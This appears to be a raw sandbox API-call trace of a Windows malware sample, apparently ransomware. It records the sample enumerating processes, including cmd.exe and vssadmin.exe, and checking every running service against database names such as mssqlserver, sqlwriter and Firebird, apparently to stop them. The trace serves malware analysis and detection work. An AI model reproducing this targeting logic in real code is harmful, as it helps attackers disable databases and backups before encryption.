1 [0057.259] lstrlenW (lpString="intake ringtones vegetables.exe") returned 31 [0057.259] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="training_wiring.exe")) returned 1 [0057.259] lstrlenW (lpString="training_wiring.exe") returned 19 [0057.259] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="democratic.exe")) returned 1 [0057.260] lstrlenW (lpString="democratic.exe") returned 14 [0057.260] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="soc_housewares_senate.exe")) returned 1 [0057.260] lstrlenW (lpString="soc_housewares_senate.exe") returned 25 [0057.260] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="receptors trustees ul.exe")) returned 1 [0058.033] lstrlenW (lpString="receptors trustees ul.exe") returned 25 [0058.033] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="documented.exe")) returned 1 [0058.034] lstrlenW (lpString="documented.exe") returned 14 [0058.034] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0058.034] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0058.034] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0058.035] lstrlenW (lpString="n.exe") returned 5 [0058.035] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa70, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0058.035] lstrlenW (lpString="cmd.exe") returned 7 [0058.035] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0058.036] lstrlenW (lpString="conhost.exe") returned 11 [0058.036] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xadc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa80, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0058.036] lstrlenW (lpString="vssadmin.exe") returned 12 [0058.036] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0058.037] lstrlenW (lpString="VSSVC.exe") returned 9 [0058.037] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.037] lstrlenW (lpString="svchost.exe") returned 11 [0058.037] Process32NextW (in: hSnapshot=0x21c, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0058.038] CloseHandle (hObject=0x21c) returned 1 [0058.038] Sleep (dwMilliseconds=0x1f4) [0058.797] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x740010 [0058.798] EnumServicesStatusExW (in: hSCManager=0x740010, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0058.798] GetLastError () returned 0xea [0058.798] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x12c6) returned 0x4023080 [0058.798] EnumServicesStatusExW (in: hSCManager=0x740010, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4023080, cbBufSize=0x12c6, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4023080, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0058.799] CloseServiceHandle (hSCObject=0x740010) returned 1 [0058.799] lstrlenW (lpString="Appinfo") returned 7 [0058.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0058.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0058.799] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0058.799] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0058.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0058.799] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0058.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0058.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0058.799] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0058.799] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0058.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0058.799] lstrlenW (lpString="AudioSrv") returned 8 [0058.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0058.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0058.799] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0058.799] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0058.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0058.799] lstrlenW (lpString="BFE") returned 3 [0058.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0058.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0058.799] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0058.799] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0058.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0058.799] lstrlenW (lpString="CryptSvc") returned 8 [0058.799] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0058.799] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0058.799] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0058.799] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0058.799] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0058.800] lstrlenW (lpString="CscService") returned 10 [0058.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0058.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0058.800] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0058.800] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0058.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0058.800] lstrlenW (lpString="DcomLaunch") returned 10 [0058.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0058.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0058.800] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0058.800] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0058.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0058.800] lstrlenW (lpString="Dhcp") returned 4 [0058.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0058.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0058.800] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0058.800] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0058.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0058.800] lstrlenW (lpString="Dnscache") returned 8 [0058.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0058.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0058.800] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0058.800] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0058.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0058.800] lstrlenW (lpString="DPS") returned 3 [0058.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0058.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0058.800] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0058.800] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0058.800] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0058.800] lstrlenW (lpString="eventlog") returned 8 [0058.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0058.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0058.800] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0058.800] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0058.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0058.801] lstrlenW (lpString="EventSystem") returned 11 [0058.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0058.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0058.801] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0058.801] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0058.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0058.801] lstrlenW (lpString="gpsvc") returned 5 [0058.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0058.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0058.801] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0058.801] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0058.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0058.801] lstrlenW (lpString="iphlpsvc") returned 8 [0058.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0058.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0058.801] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0058.801] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0058.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0058.801] lstrlenW (lpString="LanmanServer") returned 12 [0058.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0058.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0058.801] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0058.801] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0058.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0058.801] lstrlenW (lpString="LanmanWorkstation") returned 17 [0058.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0058.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0058.801] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0058.801] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0058.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0058.801] lstrlenW (lpString="lmhosts") returned 7 [0058.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0058.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0058.801] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0058.802] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0058.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0058.802] lstrlenW (lpString="MMCSS") returned 5 [0058.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0058.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0058.802] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0058.802] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0058.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0058.802] lstrlenW (lpString="MpsSvc") returned 6 [0058.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0058.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0058.802] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0058.802] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0058.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0058.802] lstrlenW (lpString="Netman") returned 6 [0058.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0058.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0058.802] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0058.802] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0058.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0058.802] lstrlenW (lpString="netprofm") returned 8 [0058.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0058.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0058.802] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0058.802] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0058.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0058.802] lstrlenW (lpString="NlaSvc") returned 6 [0058.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0058.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0058.802] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0058.802] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0058.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0058.802] lstrlenW (lpString="nsi") returned 3 [0058.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0058.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0058.802] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0058.803] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0058.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0058.803] lstrlenW (lpString="PcaSvc") returned 6 [0058.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0058.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0058.803] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0058.803] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0058.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0058.803] lstrlenW (lpString="PlugPlay") returned 8 [0058.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0058.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0058.803] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0058.803] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0058.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0058.803] lstrlenW (lpString="Power") returned 5 [0058.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0058.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0058.803] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0058.803] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0058.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0058.803] lstrlenW (lpString="ProfSvc") returned 7 [0058.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0058.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0058.803] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0058.803] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0058.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0058.803] lstrlenW (lpString="RpcEptMapper") returned 12 [0058.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0058.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0058.803] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0058.803] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0058.803] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0058.803] lstrlenW (lpString="RpcSs") returned 5 [0058.803] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0058.803] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0058.804] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0058.804] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0058.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0058.804] lstrlenW (lpString="SamSs") returned 5 [0058.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0058.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0058.804] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0058.804] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0058.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0058.804] lstrlenW (lpString="Schedule") returned 8 [0058.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0058.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0058.804] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0058.804] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0058.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0058.804] lstrlenW (lpString="SENS") returned 4 [0058.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0058.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0058.804] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0058.804] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0058.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0058.804] lstrlenW (lpString="ShellHWDetection") returned 16 [0058.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0058.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0058.804] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0058.804] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0058.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0058.804] lstrlenW (lpString="Spooler") returned 7 [0058.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0058.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0058.804] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0058.804] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0058.804] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0058.804] lstrlenW (lpString="swprv") returned 5 [0058.804] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0058.804] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0058.805] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0058.805] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0058.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0058.805] lstrlenW (lpString="SysMain") returned 7 [0058.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0058.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0058.805] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0058.805] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0058.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0058.805] lstrlenW (lpString="Themes") returned 6 [0058.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0058.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0058.805] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0058.805] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0058.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0058.805] lstrlenW (lpString="TrkWks") returned 6 [0058.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0058.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0058.805] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0058.805] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0058.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0058.805] lstrlenW (lpString="UxSms") returned 5 [0058.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0058.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0058.805] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0058.805] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0058.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0058.805] lstrlenW (lpString="VSS") returned 3 [0058.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0058.805] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0058.805] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0058.805] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0058.805] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0058.805] lstrlenW (lpString="WdiServiceHost") returned 14 [0058.805] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0058.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0058.806] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0058.806] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0058.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0058.806] lstrlenW (lpString="WdiSystemHost") returned 13 [0058.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0058.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0058.806] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0058.806] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0058.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0058.806] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0058.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0058.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0058.806] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0058.806] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0058.806] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0058.806] lstrlenW (lpString="Winmgmt") returned 7 [0058.806] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0058.806] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0058.806] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 